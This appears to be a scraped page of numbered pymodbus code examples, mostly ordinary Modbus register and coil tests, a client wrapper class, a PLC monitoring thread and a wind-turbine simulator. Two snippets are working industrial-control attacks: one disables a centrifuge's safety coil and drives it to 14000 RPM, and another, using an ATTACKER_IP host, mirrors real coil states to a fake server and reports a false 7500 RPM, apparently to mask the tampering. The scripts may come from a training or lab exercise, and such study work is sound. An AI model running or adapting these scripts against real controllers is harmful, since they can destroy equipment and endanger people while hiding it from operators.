    rq = client.write_register(1, 10, unit=UNIT)
    rr = client.read_holding_registers(1, 1, unit=UNIT)
    assert(not rq.isError())     # test that we are not an error
    assert(rr.registers[0] == 10)       # test the expected value

    log.debug("Write to multiple holding registers and read back")
    rq = client.write_registers(1, [10]*8, unit=UNIT)
    rr = client.read_holding_registers(1, 8, unit=UNIT)
    assert(not rq.isError())     # test that we are not an error
    assert(rr.registers == [10]*8)      # test the expected value

    log.debug("Read input registers")
    rr = client.read_input_registers(1, 8, unit=UNIT)
    assert(not rq.isError())     # test that we are not an error

    arguments = {
        'read_address':    1,
        'read_count':      8,
        'write_address':   1,
        'write_registers': [20]*8,
    }
    log.debug("Read write registeres simulataneously")
    rq = client.readwrite_registers(unit=UNIT, **arguments)
    rr = client.read_holding_registers(1, 8, unit=UNIT)
    assert(not rq.isError())     # test that we are not an error
    assert(rq.registers == [20]*8)      # test the expected value
    assert(rr.registers == [20]*8)      # test the expected value

    # ----------------------------------------------------------------------- #
    # close the client
    # ----------------------------------------------------------------------- #
    client.close()
Пример #23
0
from pymodbus.constants import Endian
from pymodbus.payload import BinaryPayloadDecoder
from pymodbus.client.sync import ModbusTcpClient
import time

REAL_SERVER_IP = ''  #centrifuge workstation IP

client_real_server = ModbusTcpClient(REAL_SERVER_IP, port=502)  # real server.
connection = client_real_server.connect()

if connection:
    print('disabling safety controls...')
    client_real_server.write_coils(1, [False], unit=1)
    time.sleep(2)
    print('increasing RPMs to 14000')
    client_real_server.write_registers(1, 14000, unit=1)
    time.sleep(2)
    current_RPM = client_real_server.read_holding_registers(
        address=0x01, count=1, unit=0x01).registers
    print('centrifuge RPMs are now set to: ' + str(current_RPM[0]))
    client_real_server.close()

else:
    print('Connection lost, Try again')
class ModbusWrapperClient():
    def __init__(self,
                 modbusUnitAddress,
                 maxRegsRead,
                 modbusTimeout,
                 endian="little"):
        self.client = None
        self.modbusAddress = modbusUnitAddress
        self.bufferStart = 0
        self.bufferEnd = 0
        self.data_buffer = None
        self.maxRegsRead = maxRegsRead
        self.timeout = modbusTimeout
        if endian == 'auto':
            self.endian = Endian.Auto
        elif endian == 'little':
            self.endian = Endian.Little
        else:
            self.endian = Endian.Big
        self.isConnected = False
        self.validaddresses = None
        self.validaddresses_write = None

    def openConnectionSerial(self, modbusSerialPort, modbusMethon, modbusByte,
                             modbusStopBits, modbusParity, modbusBaudrate,
                             modbusTimeout):
        self.client = ModbusSerialClient(method=modbusMethon,
                                         port=modbusSerialPort,
                                         stopbits=modbusStopBits,
                                         bytesize=modbusByte,
                                         parity=modbusParity,
                                         baudrate=modbusBaudrate,
                                         timeout=modbusTimeout)
        self.tryReconnect()

    def openConnectionTCP(self, modbusHost, modbusPort):
        self.client = ModbusTcpClient(modbusHost, modbusPort)
        self.tryReconnect()

    def closeConnection(self):
        if self.isConnected is True:
            self.client.close()

    def tryReconnect(self):
        retry = MODBUS_CONNECTIONRETRY + 1
        for i in range(1, retry):
            if self.isConnected is False:
                self.isConnected = self.client.connect()
                break
            log.debug("riconessione %s/%s" % (i, retry))

    def load_valid_addresses(self, lista=None):
        log.debug("load_valid_addresses")
        self.validaddresses = lista

    def check_address(self, address):
        if self.validaddresses is None:
            return True
        ret = True if (address in self.validaddresses) else False
        return ret

    def readRegisters(self,
                      address,
                      count,
                      mb_type='uint16',
                      mb_funcall=3,
                      force=False):
        if self.isConnected is False:
            self.tryReconnect()
        tmp = None
        if (self.check_address(address) is True) or (force is True):
            try:
                if mb_funcall == 1:
                    # Read Coil Status (FC=01)
                    result = self.client.read_coils(address,
                                                    count=count,
                                                    unit=self.modbusAddress)
                    tmp = result.bits
                elif mb_funcall == 2:
                    # Read Dscrete Input (FC=02)
                    result = self.client.read_discrete_inputs(
                        address, count=count, unit=self.modbusAddress)
                    tmp = result.bits
                elif mb_funcall == 3:
                    # Read Holding Registers (FC=03)
                    result = self.client.read_holding_registers(
                        address, count=count, unit=self.modbusAddress)
                    if result != None:
                        tmp = result.registers
                elif mb_funcall == 4:
                    # Read Input Registers (FC=04)
                    result = self.client.read_input_registers(
                        address, count=count, unit=self.modbusAddress)
                    #tmp = result.bits
                    if result != None:
                        tmp = result.registers
                    #log.debug("out: %s" % tmp)
                else:
                    log.debug("Function call not supported: %s" % mb_funcall)
                    result = None
                    tmp = result
            except Exception as e:
                log.exception(e)
        return tmp

    def check_address_write(self, address):
        if self.validaddresses_write is None:
            return True
        ret = True if (address in self.validaddresses_write) else False
        return ret

    def writeRegisters(self,
                       address,
                       value,
                       mb_funcall=5,
                       force=False,
                       skip_encode=False):
        # Refer to "libmodbus" C library: http://libmodbus.org/documentation/
        # log.info('writeRegisters(address="%s", value="%s", mb_funcall="%s"' % (address, value, mb_funcall))
        if self.isConnected is False:
            self.tryReconnect()
        result = None
        if (self.check_address_write(address) is True) or (force is True):
            try:
                if mb_funcall == 5:
                    # Single Coil (FC=05) => modbus_write_bit
                    result = self.client.write_coil(address,
                                                    value,
                                                    unit=self.modbusAddress)
                elif mb_funcall == 6:
                    # Single Register (FC=06)
                    result = self.client.write_register(
                        address,
                        value,
                        unit=self.modbusAddress,
                        skip_encode=skip_encode)
                elif mb_funcall == 15:
                    # Multiple Coils (FC=15) => modbus_write_bits
                    result = self.client.write_coils(address,
                                                     value,
                                                     unit=self.modbusAddress)
                elif mb_funcall == 16:
                    # Multiple Registers (FC=16)
                    result = self.client.write_registers(
                        address,
                        value,
                        unit=self.modbusAddress,
                        skip_encode=skip_encode)
                else:
                    log.warn("Function call not supported: %s" % mb_funcall)
            except Exception as e:
                log.exception(e)
        return result

    def encode_field(self, value, mb_type='unit16'):
        builder = BinaryPayloadBuilder(endian=self.endian)
        if mb_type == 'bit' or mb_type == 'bits':
            builder.add_bits(value)
        elif mb_type == 'uint8':
            builder.add_8bit_uint(value)
        elif mb_type == 'uint16':
            builder.add_16bit_uint(value)
        elif mb_type == 'uint32':
            builder.add_32bit_uint(value)
        elif mb_type == 'uint64':
            builder.add_64bit_uint(value)
        elif mb_type == 'int8':
            builder.add_8bit_int(value)
        elif mb_type == 'int16':
            builder.add_16bit_int(value)
        elif mb_type == 'int32':
            builder.add_32bit_int(value)
        elif mb_type == 'int64':
            builder.add_64bit_int(value)
        elif mb_type == 'float32':
            builder.add_32bit_float(value)
        elif mb_type == 'float64':
            builder.add_64bit_float(value)
        elif mb_type == 'string' or mb_type == 'str':
            builder.add_string(value)
        else:
            log.warn('Not supported DataType: "%s"' % mb_type)
        return builder.build()

    def readRegistersAndDecode(self,
                               registri,
                               counter,
                               mb_type='uint16',
                               mb_funcall=3,
                               force=False):
        tmp = None
        if (self.check_address(registri) is True) or (force is True):
            ret = self.readRegisters(registri, counter, mb_type, mb_funcall,
                                     force)
            if ret is not None:
                tmp = self.decode(ret, counter, mb_type, mb_funcall)
        return tmp

    def decode(self, raw, size, mb_type, mb_funcall=3):
        log.debug('decode param (raw=%s, size=%s, mb_type=%s, mb_funcall=%s)' %
                  (raw, size, mb_type, mb_funcall))
        if mb_funcall == 1:
            # Read Coil Status (FC=01)
            log.debug("decoder FC1 (raw: %s)" % raw)
            decoder = BinaryPayloadDecoder.fromCoils(raw, endian=self.endian)
        elif mb_funcall == 2:
            # Read Discrete Input (FC=02)
            log.debug("decoder FC2 (raw: %s)" % raw)
            decoder = BinaryPayloadDecoder(raw, endian=self.endian)
        elif mb_funcall == 3:
            # Read Holding Registers (FC=03)
            log.debug("decoder FC3 (raw: %s)" % raw)
            decoder = BinaryPayloadDecoder.fromRegisters(raw,
                                                         endian=self.endian)
        elif mb_funcall == 4:
            # Read Input Registers (FC=04)
            log.debug("decoder stub FC4 (raw: %s)" % raw)
            decoder = BinaryPayloadDecoder(raw, endian=self.endian)
        else:
            log.debug("Function call not supported: %s" % mb_funcall)
            decoder = None

        result = ""
        if mb_type == 'bitmap':
            if size == 1:
                mb_type = 'int8'
            elif size == 2:
                mb_type = 'int16'
            elif size == 2:
                mb_type = 'int32'
            elif size == 4:
                mb_type = 'int64'

        if decoder is None:
            log.debug("decode none")
            result = raw
        else:
            try:
                if mb_type == 'string' or mb_type == 'utf8':
                    result = decoder.decode_string(size)
                #elif mb_type == 'bitmap':
                #	result = decoder.decode_string(size)
                elif mb_type == 'datetime':
                    result = decoder.decode_string(size)
                elif mb_type == 'uint8':
                    result = int(decoder.decode_8bit_uint())
                elif mb_type == 'int8':
                    result = int(decoder.decode_8bit_int())
                elif mb_type == 'uint16':
                    result = int(decoder.decode_16bit_uint())
                elif mb_type == 'int16':
                    result = int(decoder.decode_16bit_int())
                elif mb_type == 'uint32':
                    result = int(decoder.decode_32bit_uint())
                elif mb_type == 'int32':
                    result = int(decoder.decode_32bit_int())
                elif mb_type == 'uint64':
                    result = int(decoder.decode_64bit_uint())
                elif mb_type == 'int64':
                    result = int(decoder.decode_64bit_int())
                elif mb_type == 'float32' or mb_type == 'float':
                    result = float(decoder.decode_32bit_float())
                elif mb_type == 'float64':
                    result = float(decoder.decode_64bit_float())
                elif mb_type == 'bit':
                    result = int(decoder.decode_bits())
                elif mb_type == 'bool':
                    result = bool(raw[0])
                elif mb_type == 'raw':
                    result = raw[0]
                else:
                    result = raw
            except ValueError as e:
                log.exception(e)
                result = raw
        return result

    def read1(self, startreg, mb_type, mb_funcall=3):
        return self.readRegisters(startreg, 1, mb_type, mb_funcall)

    def read2(self, startreg, mb_type, mb_funcall=3):
        return self.readRegisters(startreg, 2, mb_type, mb_funcall)

    def read3(self, startreg, mb_type, mb_funcall=3):
        return self.readRegisters(startreg, 3, mb_type, mb_funcall)

    def read4(self, startreg, mb_type, mb_funcall=3):
        return self.readRegisters(startreg, 4, mb_type, mb_funcall)

    def buffer_print(self):
        if not self.bufferReady():
            log.debug('BUFFER empty ---')
        else:
            text = 'BUFFER [%s-%s]: ' % (self.bufferStart, self.bufferEnd)
            i = self.bufferStart
            for item in self.data_buffer:
                text += "%s(%s) " % (i, item)
                i += 1
            log.debug(text)

    def bufferedReadRegisters(self,
                              startreg,
                              counter,
                              mb_type='uint16',
                              mb_funcall=3):
        log.debug(
            'bufferedReadRegisters param (startreg=%s, counter=%s, mb_type=%s, mb_funcall=%s)'
            % (startreg, counter, mb_type, mb_funcall))

        valido = False
        offset = self.maxRegsRead
        while (offset >= 0) and (valido != True):
            valido = self.check_address(startreg + offset)
            if valido is True:
                self.data_buffer = self.readRegisters(startreg, offset,
                                                      mb_type, mb_funcall)
                if self.data_buffer != None:
                    self.bufferStart = startreg
                    self.bufferEnd = startreg + len(self.data_buffer) - 1
            offset -= 1

        self.buffer_print()
        return self.bufferReady()

    def bufferReady(self):
        return True if (self.data_buffer is not None) else False

    def bufferCleanup(self):
        if self.bufferReady():
            self.data_buffer = None

    def inBuffer(self, startreg, conteggio):
        if not self.bufferReady():
            return False
        return True if ((startreg >= self.bufferStart) and
                        ((startreg + conteggio) <= self.bufferEnd)) else False

    def cachedRead(self, startreg, counter, mb_type='uint16', mb_funcall=3):
        log.debug(
            'cachedRead param (startreg=%s, counter=%s, mb_type=%s, mb_funcall=%s)'
            % (startreg, counter, mb_type, mb_funcall))
        if not self.bufferReady():
            self.bufferedReadRegisters(startreg, counter, mb_type, mb_funcall)
        if not self.inBuffer(startreg, counter):
            self.bufferedReadRegisters(startreg, counter, mb_type, mb_funcall)
        regs = []
        i = 0
        while i < counter:
            regs.append(self.data_buffer[startreg - self.bufferStart + i])
            i += 1
        return self.decode(regs, counter, mb_type, mb_funcall)

    def cachedRead1(self, startreg, mb_type='uint16', mb_funcall=3):
        if not self.bufferReady():
            self.bufferedReadRegisters(startreg, 1, mb_type, mb_funcall)
        if not self.inBuffer(startreg, 1):
            self.bufferedReadRegisters(startreg, 1, mb_type, mb_funcall)
        return self.decode(self.data_buffer[startreg - self.bufferStart], 1,
                           mb_type)

    def cachedRead2(self, startreg, mb_type='uint16', mb_funcall=3):
        if not self.bufferReady():
            self.bufferedReadRegisters(startreg, 2, mb_type, mb_funcall)
        if not self.inBuffer(startreg, 2):
            self.bufferedReadRegisters(startreg, 2, mb_type, mb_funcall)

        regs = []
        regs.append(self.data_buffer[startreg - self.bufferStart])
        regs.append(self.data_buffer[startreg - self.bufferStart + 1])
        return self.decode(regs, 2, mb_type)

    def cachedRead3(self, startreg, mb_type='uint16', mb_funcall=3):
        if not self.bufferReady():
            self.bufferedReadRegisters(startreg, 3, mb_type, mb_funcall)
        if not self.inBuffer(startreg, 3):
            self.bufferedReadRegisters(startreg, 3, mb_type, mb_funcall)

        regs = []
        regs.append(self.data_buffer[startreg - self.bufferStart])
        regs.append(self.data_buffer[startreg - self.bufferStart + 1])
        regs.append(self.data_buffer[startreg - self.bufferStart + 2])
        return self.decode(regs, 3, mb_type)

    def cachedRead4(self, startreg, mb_type='uint16', mb_funcall=3):
        if not self.bufferReady():
            self.bufferedReadRegisters(startreg, 4, mb_type, mb_funcall)
        if not self.inBuffer(startreg, 4):
            self.bufferedReadRegisters(startreg, 4, mb_type, mb_funcall)

        regs = []
        regs.append(self.data_buffer[startreg - self.bufferStart])
        regs.append(self.data_buffer[startreg - self.bufferStart + 1])
        regs.append(self.data_buffer[startreg - self.bufferStart + 2])
        regs.append(self.data_buffer[startreg - self.bufferStart + 3])
        return self.decode(regs, 4, mb_type)
Пример #25
0
# is displayed below along with some assert checks. Note that some modbus
# implementations differentiate holding/input discrete/coils and as such
# you will not be able to write to these, therefore the starting values
# are not known to these tests. Furthermore, some use the same memory
# blocks for the two sets, so a change to one is a change to the other.
# Keep both of these cases in mind when testing as the following will
# _only_ pass with the supplied async modbus server (script supplied).
#---------------------------------------------------------------------------#
log.debug("Write to a Coil and read back")
rq = client.write_coil(0, True, unit=1)
rr = client.read_coils(0, 1, unit=1)
assert(rq.function_code < 0x80)     # test that we are not an error
assert(rr.bits[0] == True)          # test the expected value

log.debug("Write to multiple coils and read back- test 1")
rq = client.write_coils(1, [True]*8, unit=1)
assert(rq.function_code < 0x80)     # test that we are not an error
rr = client.read_coils(1, 21, unit=1)
assert(rr.function_code < 0x80)     # test that we are not an error
resp = [True]*21

# If the returned output quantity is not a multiple of eight,
# the remaining bits in the final data byte will be padded with zeros
# (toward the high order end of the byte).

resp.extend([False]*3)
assert(rr.bits == resp)         # test the expected value

log.debug("Write to multiple coils and read back - test 2")
rq = client.write_coils(1, [False]*8, unit=1)
rr = client.read_coils(1, 8, unit=1)
Пример #26
0
class plcInterrogator(threading.Thread):
        
	def __init__(self, plcIP, plcPort, plcName):
			self.plcIP=plcIP
			self.plcPort=plcPort
			self.registers = [0] * 10
			self.coils = [0]*10
			self.plcName = plcName
			self.client = ModbusClient(self.plcIP)
			threading.Thread.__init__(self)
			self.errorFlag = False 
			self.errorMsg = ''
			self.reportedMode = 'NORMAL'
			
	def manageTransactionCounter(self):
		#checks with the Transaction Manager to ensure we don't go above 
		#255 transactions. Bug in pymodbus allows it to go to 256 and errors out
		#any transaction requests
		if self.client.transaction.tid > 225: #about to go over 255, reset it
			self.client.transaction.reset()

	def getHoldingRegisters(self, startByte, bytesCount):
		regs = self.client.read_holding_registers(address=startByte,count=bytesCount)
		self.manageTransactionCounter()
		return regs.registers	
	def getCoils(self, startBit, bitCount):
		plcStatus = self.client.read_coils(address=startBit,count=bitCount)
		self.manageTransactionCounter()
		return plcStatus.bits
	def setCoils(self, address, values):
		self.client.write_coils(address, values)
		self.manageTransactionCounter()
	def getMaintenanceCode(self):
		
		if self.coils[1] == True:	#0 = normal mode
			return 0
		elif self.coils[5] == True: #1 = mainteannce
			return 1
		elif self.coils[7] == True: #2 = testing
			return 2
		return 9
	
	def queueUpdate(self):
		lightData = ''
		for x in self.registers[0:4]:
			lightData = lightData + str(x) + "\n"		
		returnData = "LightData90210\n" + self.plcName + "\n" + lightData + str(self.getMaintenanceCode())
		#addToScadaMessageQueue(returnData)
		broadCastMessage(returnData)
		
	def handleRunningConnectionError(self, e):
		#take care of a connecion issue to this plc. Report the Error to any websockets and retry in 5 seconds
		
		self.errorMsg = "The following error occured: " + str(e) + "\nTrying again in 5 seconds"
		self.errorFlag = True
		broadCastMessage("ERROR: No connection to : " + self.plcName)
		time.sleep(5)
		self.errorMsg = ''
		self.errorFlag = False
		self.run()
	def run(self):
		while True:
			try:
				self.coils = self.getCoils(0,10)
				rr = self.getHoldingRegisters(0,10)
				#a = self.registers
				#registerIsSame = len(a)==len(rr) and len(a)==sum([1 for i,j in zip(a,rr) if i==j]) #Compares the 2 lists
				#if registerIsSame == False: #registers have changed. update all websocket clients
						#self.registers = rr
						#send an update to the websocket
						
						
				time.sleep(1.0)
				self.registers = rr
				self.queueUpdate()
			except Exception as e:
				self.handleRunningConnectionError(e)
				


	def setNormalModeCommand(self):
		#sets the plc to normal operation
		
		addToScadaMessageQueue("Putting " + self.plcName + " into Normal mode");
		try:
			rq = self.setCoils(0,[1,0])
			status = self.getCoils(0,10)
			success = status[0] or status[1]
			if success:
				pass
			else:
				addToScadaMessageQueue("Unable to put " + self.plcName + " into NORMAL mode")
				broadCastMessage("Error code 4: Unable to put " + self.plcName + " into NORMAL mode")
		except Exception as e:
				addToScadaMessageQueue(e)
				broadCastMessage("Error code 5: The connection with " + self.plcName + " has been lost")
		
	def setTestMode(self):
		#sets the plc to TEST operation
		addToScadaMessageQueue("Putting " + self.plcName + " into TEST mode");
		
		try:
			rq = self.setCoils(6,[1])
			status = self.getCoils(0,10)
			success = status[6] or status[7]
			if success:
				pass
			else:
				addToScadaMessageQueue("Unable to put " + self.plcName + " into TEST mode")
				broadCastMessage("Error code 4: Unable to put " + self.plcName + " into TEST mode")
		except Exception as e:
				addToScadaMessageQueue(e)
				broadCastMessage("Error code 5: The connection with " + self.plcName + " has been lost")
	def setMaintenanceMode(self):
		#sets the plc to Maintenance Mode
		addToScadaMessageQueue("Putting " + self.plcName + " into maintenance mode");
		
		try:
			rq = self.setCoils(4,[1])
			status = self.getCoils(0,10)
			success = status[4] or status[5]
			if success:
				pass
			else:
				addToScadaMessageQueue("Unable to put " + self.plcName + " into MAINTENANCE mode")
				broadCastMessage("Error code 4: Unable to put " + self.plcName + " into MAINTENANCE mode")
		except Exception as e:
				addToScadaMessageQueue(e)
				broadCastMessage("Error code 5: The connection with " + self.plcName + " has been lost")
class clientthreads(threading.Thread):

    def __init__(self, vnic, ipaddr, port):
        threading.Thread.__init__(self)
        self.ipaddr = ipaddr  # ip address
        self.port = port  # port address
        self.vnic = vnic  # virtual nic
        self.mode = ""  # server or client
        self.state = ""  # up or down
        self.dest = ""  # destination address for client
        self.clientstop = threading.Event()
        self.server = ""
        self.client = ""
        self.framer = ""
        self.vnicm = ""
        self.runtime= 0
        self.delayr = random.uniform(0,5)
        self.delayw = random.uniform(0,60)
        self.firstdelay = 0
        self.pstart= ""


    def run(self):
        self.client = ModbusTcpClient(self.dest, self.port, source_address=(self.ipaddr, 0), retries=1, retry_on_empty=True)
        if(self.mode=="read"):
            self.clientintr()
        elif(self.mode=="write"):
            self.clientintw()
        else:
            print "wrong mode specified"

    def clientintr(self):  # instantiate server stuff
        while(not self.clientstop.is_set()):
            if(time.time() - self.pstart > self.runtime):
                print "stopping"
                break
            if(self.firstdelay < 1):
                print "Start RDelay is: " + str(self.delayr)
                time.sleep(self.delayr)
                self.firstdelay = 1
                print "Starting Reads"

            self.clientreads()
            print "\n\r-----read-----\n\r"
            print self.dest 
            print time.time() - self.pstart
            print "------------------\n\r"
    
    def clientintw(self):  # instantiate server stuff
        while(not self.clientstop.is_set()):
            if(time.time() - self.pstart > self.runtime):
                print "stopping"
                break
            if(self.firstdelay < 1):
                print "Start WDelay is: " + str(self.delayw)
                time.sleep(self.delayw)
                self.firstdelay = 1
                print "Starting Writes"

            self.clientwrites()
            print "\n\r-----write----\n\r"
            print self.dest 
            print time.time() - self.pstart
            print "------------------\n\r"


    def clientreads(self):
        self.client.read_coils(1, 10)
        self.client.read_discrete_inputs(1, 10)
        self.client.read_holding_registers(1, 10)
        self.client.read_input_registers(1, 10)
        time.sleep(5)

    def clientwrites(self):
        self.client.write_coil(1, True)
        self.client.write_register(1, 3)
        self.client.write_coils(1, [True]*10)
        self.client.write_registers(1, [3]*10)
        time.sleep(60)
    
    def alloc(self):  # Allocate ip address
        if (validateIP(self.ipaddr, self.vnicm)):
            cmdargs = [self.vnic, self.ipaddr]
            subprocess.call(["ifconfig"] + cmdargs)
        else:
            return 0

    def dealloc(self):  # De-allocate ip address
        cmdargs = [self.vnic]
        subprocess.call(["ifconfig"] + cmdargs + ["down"])

    def stop(self):
        self.clientstop.set()
        return
Пример #28
0
#time.sleep(5)
#log.debug("Reading Coils")
#rr = client.read_coils(1, 1, unit=0x01)

#time.sleep(3)
log.debug("Ecrire True sur la bobine 0")
rq = client.write_coil(0, True, unit=1)
rr = client.read_coils(0, 1, unit=1)
assert (rq.function_code < 0x80)  # test that we are not an error
print("Reponse :" + str(rr.bits[0]))
assert (rr.bits[0] == True)  # test the expected value

time.sleep(3)
log.debug("Ecrire plusieurs bobines")
rq = client.write_coils(1, [True] * 8, unit=1)
assert (rq.function_code < 0x80)  # test that we are not an error
rr = client.read_coils(1, 21, unit=1)
assert (rr.function_code < 0x80)  # test that we are not an error
resp = [True] * 21
print("rep : " + str(rr))
# If the returned output quantity is not a multiple of eight,
# the remaining bits in the final data byte will be padded with zeros
# (toward the high order end of the byte).

resp.extend([False] * 3)
assert (rr.bits == resp)  # test the expected value
#time.sleep(3)
#log.debug("Write to multiple coils and read back - test 2")
#rq = client.write_coils(1, [False]*8, unit=1)
#rr = client.read_coils(1, 8, unit=1)
Пример #29
0
def tui_main(stdscr, args):
    if args.host:
        client = ModbusTcpClient(args.host, port=args.port)
    else:
        # This prevents arduino autoreset. It does not work on the first call
        # because it doesn't give time to the Arduino program to
        # initialize. After that it is not necessary until the configuration
        # of the port changes again but keeping it here seems like the
        # cleanest and simplest solution.
        os.system('stty -hup -F %s' % SERIAL_PORT)
        client = ModbusSerialClient(method="rtu",
                                    port=SERIAL_PORT,
                                    stopbits=1,
                                    bytesize=8,
                                    parity='E',
                                    baudrate=19200,
                                    dsrdtr=False,
                                    timeout=0.01)
        conn = client.connect()
    _configure_curses(stdscr)
    coil_table = CoilTable()
    counter_table = CounterTable()
    analog_table = AnalogTable()
    ud_table = UserDataTable()
    tables = Circular([coil_table, analog_table, counter_table, ud_table])
    _center(stdscr, tables)
    read_op = 0
    coils = []
    counters = []
    analog_values = []
    user_data_values = []
    while True:
        if read_op == READ_COILS:
            coils = client.read_coils(0x0000, 0xd8, unit=UNIT_ID).bits
        elif read_op == READ_COUNTERS:
            counters = client.read_holding_registers(0x000a, 24,
                                                     unit=UNIT_ID).registers
        elif read_op == READ_ANALOG:
            analog_values = client.read_holding_registers(
                0x0000, 10, unit=UNIT_ID).registers
        elif read_op == READ_USER_DATA:
            user_data_values = client.read_holding_registers(
                0x0022, 14, unit=UNIT_ID).registers
        read_op = (read_op + 1) % READ_OP_COUNT
        coil_table.set_data(coils)
        analog_table.set_data(analog_values)
        counter_table.set_data(counters)
        ud_table.set_data(user_data_values)
        stdscr.touchwin()
        panel.update_panels()
        curses.doupdate()
        ch = stdscr.getch()
        action = None
        if ch == -1:
            continue
        elif ch == ord('q'):
            return
        elif ch == ord('\t'):
            tables.current().hide_selection(True)
            tables.next()
            tables.current().hide_selection(False)
        elif ch == ord('h'):
            show_dialog(stdscr, 'Help', HELP_MSG)
        elif ch == curses.KEY_RESIZE:
            stdscr.clear()
            stdscr.border(0)
            _center(stdscr, tables)
        elif ch == ord('s'):
            action = ('write_coils', 0x0100, [1])
        elif ch == ord('l'):
            action = ('write_coils', 0x0101, [1])
        else:
            action = tables.current().handle_ch(ch)
        tl_attr = curses.A_NORMAL
        if action:
            cmd = action[0]
            if cmd == 'write_coils':
                cmd, addr, bits = action
                result = client.write_coils(addr, bits, unit=UNIT_ID)
                tl_msg = 'write_coils(0x%04x, %s, unit=0x%x) -> %s' % (
                    addr, bits, UNIT_ID, result)
                if result.function_code & 0x80:
                    tl_attr = COLOR_WHITE_ON_RED | curses.A_BOLD
                read_op = READ_COILS
            if cmd == 'write_registers':
                cmd, addr, words = action
                result = client.write_registers(addr, words, unit=UNIT_ID)
                tl_msg = 'write_registers(0x%04x, %s, unit=0x%x) -> %s' % (
                    addr, words, UNIT_ID, result)
                if result.function_code & 0x80:
                    tl_attr = COLOR_WHITE_ON_RED | curses.A_BOLD
                read_op = READ_COUNTERS
            else:
                tl_msg = str(action)
        else:
            tl_msg = curses.keyname(ch).decode('utf-8')
        stdscr.addstr(1, 1, tl_msg, tl_attr)
        stdscr.clrtoeol()
Пример #30
0
def loop_process():
    global speed
    # Main Process
    err_count = 0
    coils_count = 20
    gust_state = 0  # 0 = no / 1 = begin / 2 = in progress / 3 = last
    gust_cmp = 0

    while True:
        sleep(1)
        # try gust
        if gust_state == 3:
            gust_state = 0
        if gust_state == 1 or gust_state == 2:
            gust_state = 2
            gust_cmp -= 1
            if gust_cmp == 0:
                gust_state = 3

        if randint(0, 20) == 10 and gust_state == 0:
            gust_state = 1
            gust_cmp += 5

        try:
            client = ModbusTcpClient(modbus_server_ip, modbus_server_port)

            coils = client.read_coils(0, count=2, unit=UNIT).bits
            coils = coils[:2]
            registers = client.read_holding_registers(0, count=2,
                                                      unit=UNIT).registers
            registers = registers[:2]

            speed_min, speed_max = client.read_holding_registers(
                10, 2, unit=UNIT).registers
            broken = client.read_coils(25, count=1, unit=UNIT).bits[0]

            # update wind speed
            ## speed = registers[0]
            global speed
            if randbits(1):
                speed += 1
            else:
                speed -= 1
            if gust_state == 1:
                print '**new gust**'
                speed += 10
            if gust_state == 3:
                print '**eo gust**'
                speed -= 10
            if speed < 0:
                speed = 0
            if speed > 30:
                speed = 30
            registers[0] = speed

            # broken
            if broken:
                print '[broken eolienne]'
                registers[1] = 0
                client.write_registers(0, registers, unit=UNIT)
                updateGPIO(coils, gust_state)
                continue
            # manual stop
            if not coils[0]:
                print '[stop manually]'
                registers[1] = 0
                client.write_registers(0, registers, unit=UNIT)
                updateGPIO(coils, gust_state)
                continue
            # wind speed to slow/quick
            if speed < speed_min or speed > speed_max:
                print '[stop due to the wind speed] (%d m/s)' % registers[0]
                coils[1] = False
                client.write_coil(1, False, unit=UNIT)
                registers[1] = 0
                client.write_registers(0, registers, unit=UNIT)
                updateGPIO(coils, gust_state)
                continue

            powerloss = 0  # 0 % of lost
            # unwanted case : Wind speed < 4 m/s will consume power production (thermic loss)
            if speed < 4:
                powerloss = 25
            if speed < 2:
                powerloss = 50

            # unwanted case : Wind speed > 25 m/s will break the eolienne
            if speed > 25:
                broken = True
                print '[wind breaks the eolienne]'
                client.write_coil(25, True, unit=UNIT)
                registers[1] = 0
                client.write_registers(0, registers, unit=UNIT)
                continue

            # otherwise, running
            # [production] P = 0.29 * D^2 * v^3
            #   P = power (W)
            #   D = rotor diameter = 24m
            #   v = wind speed (m/s)
            coils[1] = True

            power = (0.29 * pow(24, 2) * pow(registers[0], 3)) / 1000
            if powerloss != 0:
                power = int(power * (1 - powerloss / 100))
            registers[1] = power

            print 'producting %d kW (%d m/s)' % (registers[1], registers[0])

            client.write_coils(0, coils, unit=UNIT)
            client.write_registers(0, registers, unit=UNIT)

            if GPIO:
                updateGPIO(coils, gust_state)
        except Exception as err:
            print '[error] %s' % err
            err_count += 1
            if err_count == 5:
                print '[error] 5 errors happened in the process ! exiting...'
                sys.exit(1)
Пример #31
0
            if args.count == 1:
                # NOTE: coil is a list with one bool
                if args.coil[0] == 1:
                    co_write = client.write_coil(args.offset, True)
                else:
                    co_write = client.write_coil(args.offset, False)
                assert(co_write.function_code < 0x80)

            else:
                coils = []
                for c in args.coil:
                    if c == 1:
                        coils.append(True)
                    else:
                        coils.append(False)
                cos_write = client.write_coils(args.offset, coils)
                assert(cos_write.function_code < 0x80)


    elif args.mode == 'r':

        # NOTE: read_holding_registers
        if args.type == 'HR':
            hr_read = client.read_holding_registers(args.offset,
                count=args.count)
            assert(hr_read.function_code < 0x80)
            print(hr_read.registers[0:args.count])

        # NOTE: read_holding_registers
        elif args.type == 'IR':
            ir_read = client.read_input_registers(args.offset,
Пример #32
0
print('==== DO ====')
#-- FC01: Read multi-coils status (0xxxx) for DO
# read_coils(start_addr, bit count, unit=sid)
rr = client.read_coils(0, 1, unit=1)  #被數到的打開遮罩,沒數到的被遮罩
print(rr, "DO value=", rr.bits[0])
#if error : Exception Response(129, 1, IllegalFunction)
#   01 01 00 00 00 01 FD CA
#   01 81 01 81 90

#-- FC05: Write single-coil (0xxxx) for DO
# read_coils(start_addr, bit count, unit=sid)
print('-- write single DO --')
rq = client.write_coil(5, True, unit=1)
print(rq)
rr = client.read_coils(0, 8, unit=1)
print(rr, "DO value=", rr.bits)
#if error: Exception Response(129, 1, IllegalFunction)
#   01 05 00 01 FF 00 DD FA
#   01 85 01 83 50

#-- FC15: Write multi-coils ( 0xxxx ) for DO
# write_coils(start_addr, value_array, unit=sid)
print('-- write multi DO --')
rq = client.write_coils(0, [False] * 8, unit=1)
rq = client.write_coils(0, [True] * 4, unit=1)
print(rq)
rr = client.read_coils(0, 8, unit=1)
print(rr, "DO value=", rr.bits)

client.close()
Пример #33
0
from pymodbus.payload import BinaryPayloadDecoder
from pymodbus.client.sync import ModbusTcpClient

ATTACKER_IP = ''  #change me
REAL_SERVER_IP = ''  #IP for the centrifuge host

client_real_server = ModbusTcpClient(REAL_SERVER_IP, port=502)  # real server.
client_fake_server = ModbusTcpClient(ATTACKER_IP, port=502)  #our fake server
connection = client_real_server.connect()

if connection:
    client_fake_server.write_registers(1, 7500, unit=1)
    real_coils = client_real_server.read_coils(address=0x00,
                                               count=0x05,
                                               unit=0x01).bits
    client_fake_server.write_coils(0, real_coils[:], unit=1)
